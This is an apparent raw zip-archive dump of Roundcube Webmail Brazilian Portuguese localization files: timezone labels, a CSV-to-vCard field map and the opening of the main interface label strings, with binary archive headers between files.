$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantic';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europe';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athens';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussels';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Ulianovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhhorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vaticano';
$labels['tz:europe:vienna'] = 'Viena';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgogrado';
$labels['tz:europe:warsaw'] = 'Varsóvia';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporizhzhya';
$labels['tz:europe:zurich'] = 'Zurique';
$labels['tz:indian'] = 'indiano';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Natal';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comores';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maldivas';
$labels['tz:indian:mauritius'] = 'Maurícia';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunião';
$labels['tz:pacific'] = 'Pacífico';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\���*��(program/localization/pt_BR/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/<lang>/csv2vcard.inc                                     |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2015, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Aniversário";
$map['assistants_name'] = "Nome do Assistente";
$map['assistants_phone'] = "Fone do Assistente";
$map['birthday'] = "Aniversário";
$map['business_city'] = "Cidade comercial";
$map['business_countryregion'] = "Região/País comercial";
$map['business_fax'] = "Fax comercial";
$map['business_phone'] = "Fone comercial";
$map['business_phone_2'] = "Fone comercial 2";
$map['business_postal_code'] = "Código postal comercial";
$map['business_state'] = "Estado comercial";
$map['business_street'] = "Rua comercial";
$map['car_phone'] = "Fone do carro";
$map['categories'] = "Categorias";
$map['company'] = "Empresa";
$map['department'] = "Departamento";
$map['email_address'] = "Endereço de E-mail";
$map['email_2_address'] = "Endereço de E-mail 2";
$map['email_3_address'] = "Endereço de E-mail 3";
$map['first_name'] = "Primeiro nome";
$map['gender'] = "Gênero";
$map['home_city'] = "Cidade de casa";
$map['home_countryregion'] = "Região/País de casa";
$map['home_fax'] = "Fax de casa";
$map['home_phone'] = "Fone de casa";
$map['home_phone_2'] = "Fone de casa 2";
$map['home_postal_code'] = "Código Postal de casa";
$map['home_state'] = "Estado de casa";
$map['home_street'] = "Rua de casa";
$map['job_title'] = "Cargo";
$map['last_name'] = "Último nome";
$map['managers_name'] = "Nome do gerente";
$map['middle_name'] = "Nome do meio";
$map['mobile_phone'] = "Celular";
$map['notes'] = "Notas";
$map['other_city'] = "Outra cidade";
$map['other_countryregion'] = "Outro País/Região";
$map['other_fax'] = "Outro Fax";
$map['other_phone'] = "Outro Fone";
$map['other_postal_code'] = "Outro Código Postal";
$map['other_state'] = "Outro Estado";
$map['other_street'] = "Outra Rua";
$map['pager'] = "Pager";
$map['primary_phone'] = "Fone Primario";
$map['spouse'] = "Spouse";
$map['suffix'] = "Sufixo";
$map['title'] = "Título";
$map['web_page'] = "Página Web";
$map['birth_day'] = "Dia de nascimento";
$map['birth_month'] = "Mês de nascimento";
$map['birth_year'] = "Ano de nascimento";
$map['display_name'] = "Mostrar nome";
$map['fax_number'] = "Número de Fax";
$map['home_address'] = "Endereço de casa";
$map['home_country'] = "País de casa";
$map['home_zipcode'] = "CEP de casa";
$map['mobile_number'] = "Celular";
$map['nickname'] = "Apelido";
$map['organization'] = "Organização";
$map['pager_number'] = "Número do Pager";
$map['primary_email'] = "E-mail primário";
$map['secondary_email'] = "E-mail secundário";
$map['web_page_1'] = "Web Page 1";
$map['web_page_2'] = "Web Page 2";
$map['work_phone'] = "Fone de trabalho";
$map['work_address'] = "Endereço de trabalho";
$map['work_country'] = "País de trabalho";
$map['work_zipcode'] = "CEP de trabalho";
$map['date_of_birth'] = "Data de nascimento";
$map['email'] = "E-mail";
$map['home_mobile'] = "Celular pessoal";
$map['home_zip'] = "CEP pessoal";
$map['info'] = "Informações";
$map['user_photo'] = "Foto do Usuário";
$map['url'] = "URL";
$map['work_city'] = "Cidade de trabalho";
$map['work_company'] = "Empresa";
$map['work_dept'] = "Departamento";
$map['work_fax'] = "Fax";
$map['work_mobile'] = "Celular de trabalho";
$map['work_state'] = "Estado";
$map['work_title'] = "Cargo";
$map['work_zip'] = "CEP";
PK
h�\�%9�r�r�%program/localization/pt_BR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Bem-vindo ao $product';
$labels['username'] = 'Usuário';
$labels['password'] = 'Senha';
$labels['server'] = 'Servidor';
$labels['login'] = 'Entrar';
$labels['oauthlogin'] = 'Login com $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Sair';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Configurações';
$labels['addressbook'] = 'Catálogo de endereços';
$labels['darkmode'] = 'Modo escuro';
$labels['lightmode'] = 'Modo claro';
$labels['inbox'] = 'Caixa de entrada';
$labels['drafts'] = 'Rascunhos';
$labels['sent'] = 'Enviados';
$labels['trash'] = 'Lixeira';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Exibir o nome real das pastas de sistema';
$labels['subject'] = 'Assunto';
$labels['from'] = 'De';
$labels['sender'] = 'Remetente';
$labels['to'] = 'Para';
$labels['cc'] = 'Cópia';
$labels['bcc'] = 'Cópia Oculta (Cco)';
$labels['replyto'] = 'Responder para';
$labels['followupto'] = 'Encaminhar para';
$labels['date'] = 'Data';
$labels['size'] = 'Tamanho';
$labels['priority'] = 'Prioridade';
$labels['organization'] = 'Organização';
$labels['readstatus'] = 'Status de leitura';
$labels['listoptions'] = 'Lista de opções...';
$labels['listoptionstitle'] = 'Lista de opções';
$labels['mailboxlist'] = 'Pastas';
$labels['messagesfromto'] = 'Mensagens $from - $to de $count';
$labels['threadsfromto'] = 'Tópicos $from - $to de $count';
$labels['messagenrof'] = 'Mensagem $nr de $count';
$labels['fromtoshort'] = '$from - $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Mover';
$labels['moveto'] = 'Mover para...';
$labels['copyto'] = 'Copiar para...';
$labels['download'] = 'Baixar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Exibir';
$labels['showanyway'] = 'Exibir mesmo assim';
$labels['filename'] = 'Nome do arquivo';
$labels['filesize'] = 'Tamanho';
$labels['addtoaddressbook'] = 'Incluir no catálogo de endereços';
$labels['sun'] = 'Dom.';
$labels['mon'] = 'Seg.';
$labels['tue'] = 'Ter.';
$labels['wed'] = 'Qua.';
$labels['thu'] = 'Qui.';
$labels['fri'] = 'Sex.';
$labels['sat'] = 'Sáb.';
$labels['sunday'] = 'Domingo';
$labels['monday'] = 'Segunda-feira';
$labels['tuesday'] = 'Terça-feira';
$labels['wednesday'] = 'Quarta-feira';
$labels['thursday'] = 'Quinta-feira';
$labels['friday'] = 'Sexta-feira';
$labels['saturday'] = 'Sábado';
$labels['jan'] = 'Jan.';
$labels['feb'] = 'Fev.';
$labels['mar'] = 'Mar.';
$labels['apr'] = 'Abr.';
$labels['may'] = 'Mai.';
$labels['jun'] = 'Jun.';
$labels['jul'] = 'Jul.';
$labels['aug'] = 'Ago.';
$labels['sep'] = 'Set.';
$labels['oct'] = 'Out.';
$labels['nov'] = 'Nov.';
$labels['dec'] = 'Dez.';
$labels['longjan'] = 'Janeiro';
$labels['longfeb'] = 'Fevereiro';
$labels['longmar'] = 'Março';
$labels['longapr'] = 'Abril';
$labels['longmay'] = 'Maio';
$labels['longjun'] = 'Junho';
$labels['longjul'] = 'Julho';
$labels['longaug'] = 'Agosto';
$labels['longsep'] = 'Setembro';
$labels['longoct'] = 'Outubro';
$labels['longnov'] = 'Novembro';
$labels['longdec'] = 'Dezembro';
$labels['today'] = 'Hoje';
$labels['refresh'] = 'Atualizar';
$labels['checkmail'] = 'Verificar se há novas mensagens';
$labels['compose'] = 'Criar email';
$labels['writenewmessage'] = 'Criar nova mensagem';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder para o remetente';
$labels['replytoallmessage'] = 'Responder para o remetente e todos destinatários';
$labels['replyall'] = 'Responder a todos';
$labels['replylist'] = 'Responder para a lista';
$labels['forward'] = 'Encaminhar';
$labels['forwardinline'] = 'Encaminhar junto ao corpo da mensagem';
$labels['forwardattachment'] = 'Encaminhar como anexo';
$labels['forwardmessage'] = 'Encaminhar a mensagem';
$labels['bouncemsg'] = 'Re-enviar (voltou)';
$labels['bounce'] = 'Re-enviar';
$labels['deletemessage'] = 'Excluir a mensagem';
$labels['movemessagetotrash'] = 'Mover a mensagem para a Lixeira';
$labels['printmessage'] = 'Imprimir a mensagem';
$labels['previousmessage'] = 'Mensagem Anterior';
$labels['firstmessage'] = 'Primeira Mensagem';
$labels['nextmessage'] = 'Próxima Mensagem';
$labels['lastmessage'] = 'Última Mensagem';
$labels['backtolist'] = 'Voltar para a lista de mensagens';
$labels['viewsource'] = 'Exibir código-fonte';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Marcar mensagens';
$labels['markread'] = 'Como lidas';
$labels['markunread'] = 'Como não lidas';
$labels['markflagged'] = 'Como sinalizada(s)';
$labels['markunflagged'] = 'Como não sinalizada(s)';
$labels['markundeleted'] = 'Como não deletado';
$labels['moreactions'] = 'Mais ações...';
$labels['markallread'] = 'Marcar tudo como lido';
$labels['folders-cur'] = 'Somente a pasta selecionada';
$labels['folders-sub'] = 'Selecionada pasta e subpastas';
$labels['folders-all'] = 'Todas pastas';
$labels['more'] = 'Mais';
$labels['back'] = 'Voltar';
$labels['options'] = 'Opções';
$labels['composeoptions'] = 'Opções de composição';
$labels['optionsandattachments'] = 'Opções e anexos';
$labels['actions'] = 'Ações';
$labels['first'] = 'Primeiro';
$labels['last'] = 'Último';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Próximo';
$labels['select'] = 'Selecionar';
$labels['selection'] = 'Seleção';
$labels['all'] = 'Todas';
$labels['none'] = 'Nenhuma';
$labels['currpage'] = 'Página atual';
$labels['isread'] = 'Lido';
$labels['unread'] = 'Não lidas';
$labels['flagged'] = 'Sinalizada(s)';
$labels['unflagged'] = 'Não Sinalizada';
$labels['unanswered'] = 'Não respondidas';
$labels['withattachment'] = 'Com anexo';
$labels['deleted'] = 'Excluídas';
$labels['undeleted'] = 'Não excluídas';
$labels['replied'] = 'Respondido';
$labels['forwarded'] = 'Encaminhado';
$labels['invert'] = 'Inverter';
$labels['filter'] = 'Filtrar';
$labels['list'] = 'Lista';
$labels['threads'] = 'Agrupamento por assunto';
$labels['expand-all'] = 'Expandir Tudo';
$labels['expand-unread'] = 'Expandir Não Lidas';
$labels['collapse-all'] = 'Recolher Tudo';
$labels['threaded'] = 'Agrupado';
$labels['showunread'] = 'Mostrar mensagens não lidas';
$labels['autoexpand_threads'] = 'Expandir mensagens agrupadas';
$labels['do_expand'] = 'todos os grupos';
$labels['expand_only_unread'] = 'somente com mensagem(s) não lidas';
$labels['fromto'] = 'De/Para';
$labels['flag'] = 'Sinalizador';
$labels['attachment'] = 'Anexo';
$labels['nonesort'] = 'Nenhuma';
$labels['sentdate'] = 'Data de envio';
$labels['arrival'] = 'Data de recebimento';
$labels['asc'] = 'crescente';
$labels['desc'] = 'decrescente';
$labels['listcolumns'] = 'Lista de colunas';
$labels['listsorting'] = 'Coluna para ordenação';
$labels['listorder'] = 'Ordem da classificação';
$labels['listmode'] = 'Visualização em lista';
$labels['lmode'] = 'Modo lista';
$labels['layout'] = 'Leiaute';
$labels['layoutwidescreen'] = 'Panorâmica';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Panorâmica (visão de 3 colunas)';
$labels['layoutdesktopdesc'] = 'Desktop (lista ampla e visualização de mensagens abaixo)';
$labels['layoutlistdesc'] = 'Lista (sem visualização de mensagens)';
$labels['folderactions'] = 'Ações para as pastas...';
$labels['compact'] = 'Compactar';
$labels['empty'] = 'Esvaziar';
$labels['importmessages'] = 'Importar mensagens';
$labels['mailimportdesc'] = 'Você pode fazer upload de mail usando arquivos no formato <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ou <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Múltiplos arquivos podem ser comprimidos para arquivos zip.';
$labels['quota'] = 'Uso de disco';
$labels['unknown'] = 'desconhecido';
$labels['unlimited'] = 'ilimitado';
$labels['quotatype'] = 'Tipo de quota';
$labels['quotatotal'] = 'Limite';
$labels['quotaused'] = 'Usado';
$labels['quotastorage'] = 'Espaço em disco';
$labels['quotamessage'] = 'Quantidade de mensagens';
$labels['shortheaderdate'] = 'Em $date';
$labels['shortheaderto'] = 'Para $to em $date';
$labels['shortheaderfrom'] = 'De $from em $date';
$labels['quicksearch'] = 'Pesquisa rápida';
$labels['searchplaceholder'] = 'Pesquisar...';
$labels['resetsearch'] = 'Limpar pesquisa';
$labels['searchmod'] = 'Opções da pesquisa';
$labels['msgtext'] = 'Mensagem inteira';
$labels['body'] = 'Conteúdo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nome';
$labels['searchscope'] = 'Escopo';
$labels['currentfolder'] = 'Pasta atual';
$labels['subfolders'] = 'Esta e subpastas';
$labels['allfolders'] = 'Todas pastas';
$labels['searchinterval-1W'] = 'com mais de uma semana';
$labels['searchinterval-1M'] = 'com mais de um mês';
$labels['searchinterval-1Y'] = 'com mais de um ano';
$labels['searchinterval1W'] = 'com menos de uma semana';
$labels['searchinterval1M'] = 'com menos de um mês';
$labels['searchinterval1Y'] = 'com menos de um ano';
$labels['openinextwin'] = 'Abrir em nova janela';
$labels['emlsave'] = 'Baixar (formato .eml)';
$labels['changeformattext'] = 'Exibir em formato de texto simples';
$labels['changeformathtml'] = 'Exibir com formatação HTML';
$labels['editasnew'] = 'Editar como novo';
$labels['send'] = 'Enviar';
$labels['sendmessage'] = 'Enviar agora';
$labels['savemessage'] = 'Salvar como rascunho';
$labels['addattachment'] = 'Anexar um arquivo';
$labels['charset'] = 'Codificação';
$labels['editortype'] = 'Tipo de editor';
